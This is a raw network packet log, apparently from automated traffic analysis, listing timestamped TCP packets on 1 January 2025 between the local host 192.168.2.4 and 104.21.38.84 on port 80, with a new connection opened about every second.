Jan 1, 2025 15:20:23.514130116 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.745991945 CET	80	50276	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.796839952 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.868840933 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.872833967 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.873837948 CET	80	50276	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.873954058 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.877609015 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.877682924 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.880831003 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.885591030 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.236855984 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.242818117 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.340739965 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.452851057 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.607696056 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.611128092 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.616015911 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.616080046 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.616174936 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.621265888 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.720844030 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.731970072 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.736979008 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.737044096 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.737162113 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.741914988 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.967482090 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:24.972498894 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:24.972522020 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.092389107 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.093806028 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.098092079 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.186379910 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.195821047 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.248498917 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.366549969 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.451641083 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.451653004 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.498514891 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.575303078 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.575403929 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.575460911 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.576209068 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.581471920 CET	80	50277	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.581521034 CET	50277	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.581628084 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.581681013 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.581808090 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.581893921 CET	80	50278	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.581939936 CET	50278	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.582011938 CET	80	50279	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.582042933 CET	50279	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.586658955 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:25.936839104 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:25.941843987 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.046556950 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.140834093 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.308880091 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.399673939 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.400940895 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.401173115 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.406061888 CET	80	50280	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.406179905 CET	50280	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.528839111 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.533746004 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.534060955 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.534147978 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.538934946 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.889200926 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:26.894150972 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:26.975609064 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.029743910 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.234539986 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.279745102 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.360141039 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.360790014 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.365185976 CET	80	50281	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.365232944 CET	50281	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.365658045 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.365710974 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.365822077 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.370543957 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.720833063 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:27.725766897 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.810806990 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:27.860826969 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.068422079 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.124823093 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.184824944 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.184828043 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.189752102 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.189943075 CET	80	50282	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.192950010 CET	50282	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.192949057 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.193073988 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.197823048 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.545433998 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:28.550333023 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.788041115 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:28.943413973 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.019686937 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.138750076 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.139578104 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.143836021 CET	80	50283	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.143884897 CET	50283	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.144395113 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.144464970 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.144589901 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.149352074 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.498707056 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.503534079 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.615768909 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.670464993 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:29.789582014 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:29.842243910 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.023873091 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.028249979 CET	50285	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.029476881 CET	80	50284	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.032444954 CET	50284	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.033061028 CET	80	50285	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.036075115 CET	50285	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.036178112 CET	50285	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.040895939 CET	80	50285	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.374855995 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.374855995 CET	50285	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.379889965 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.384884119 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.385117054 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.389885902 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.422235012 CET	80	50285	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.504817963 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.511363983 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.511486053 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.511704922 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.515815973 CET	80	50285	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.516462088 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.516551018 CET	50285	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.732956886 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.737886906 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.738074064 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.858023882 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:30.862047911 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.862914085 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:30.973944902 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.014195919 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.021496058 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.021624088 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.146384001 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.201616049 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.262207031 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.262392044 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.262938023 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.267276049 CET	80	50286	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.267339945 CET	50286	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.267728090 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.267784119 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.267920971 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.268163919 CET	80	50287	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.268203974 CET	50287	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.272697926 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.624819994 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:31.629744053 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.739793062 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:31.795413017 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.001688004 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.005029917 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.010018110 CET	80	50288	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.012882948 CET	50288	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.118932962 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.123908997 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.123987913 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.124115944 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.132524967 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.484296083 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.489309072 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.575794935 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.654733896 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.749236107 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.817998886 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.924607038 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.925611973 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.929775000 CET	80	50289	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.929821968 CET	50289	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.930510044 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:32.930572987 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.930742025 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:32.935547113 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.279886007 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.284904003 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.395761013 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.533852100 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.645550966 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.775777102 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.775779009 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.780761003 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.780884027 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.780940056 CET	80	50290	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:33.780961990 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.781049013 CET	50290	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:33.785686970 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.139225960 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.144197941 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.244827032 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.295377016 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.500621080 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.545373917 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.618778944 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.618782997 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.623694897 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.623755932 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.623938084 CET	80	50291	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.623986959 CET	50291	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.628299952 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.633080959 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:34.983935118 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:34.988840103 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.067914009 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.201430082 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.321657896 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.411045074 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.452132940 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.453556061 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.457075119 CET	80	50292	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.457118034 CET	50292	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.458329916 CET	80	50293	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.458390951 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.458503962 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.463246107 CET	80	50293	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:35.811269999 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:35.816239119 CET	80	50293	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.030899048 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.030900955 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.035939932 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.036091089 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.036197901 CET	80	50293	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.036256075 CET	50293	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.036329031 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.041148901 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.150803089 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.155755997 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.159394026 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.159517050 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.164292097 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.390805006 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.395766973 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.395875931 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.508188009 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.514147997 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.519128084 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.562980890 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.624063969 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.678726912 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.732841015 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.748461962 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.822309971 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.911371946 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.949049950 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.949167967 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.949706078 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.954080105 CET	80	50294	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.954123974 CET	50294	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.954387903 CET	80	50295	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.954430103 CET	50295	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.954515934 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:36.954571009 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.954839945 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:36.959657907 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.311094046 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.316293955 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.417387962 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.467206001 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.593590021 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.639081955 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.711971045 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.711971045 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.716839075 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.717036963 CET	80	50296	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:37.718940020 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.718950987 CET	50296	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.722024918 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:37.727504015 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.076718092 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.081665039 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.191622972 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.343003988 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.467770100 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.586219072 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.586230993 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.591165066 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.591320038 CET	80	50297	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.591475010 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.591480970 CET	50297	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.591614962 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.596411943 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:38.936028957 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:38.940920115 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.032283068 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.147114992 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.202454090 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.248455048 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.323971033 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.324723959 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.328991890 CET	80	50298	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.329040051 CET	50298	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.329580069 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.329637051 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.329767942 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.334481001 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.686038971 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:39.690927029 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.800879002 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:39.860776901 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.058260918 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.108807087 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.181077957 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.184793949 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.186028004 CET	80	50299	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.188813925 CET	50299	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.189750910 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.192893028 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.192971945 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.197832108 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.545432091 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.550254107 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.645906925 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:40.798909903 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:40.900979042 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.025413036 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.026361942 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.030476093 CET	80	50300	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.030517101 CET	50300	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.031250954 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.031331062 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.031404972 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.036228895 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.390494108 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.395365000 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.479564905 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.529731035 CET	50301	80	192.168.2.4	104.21.38.84
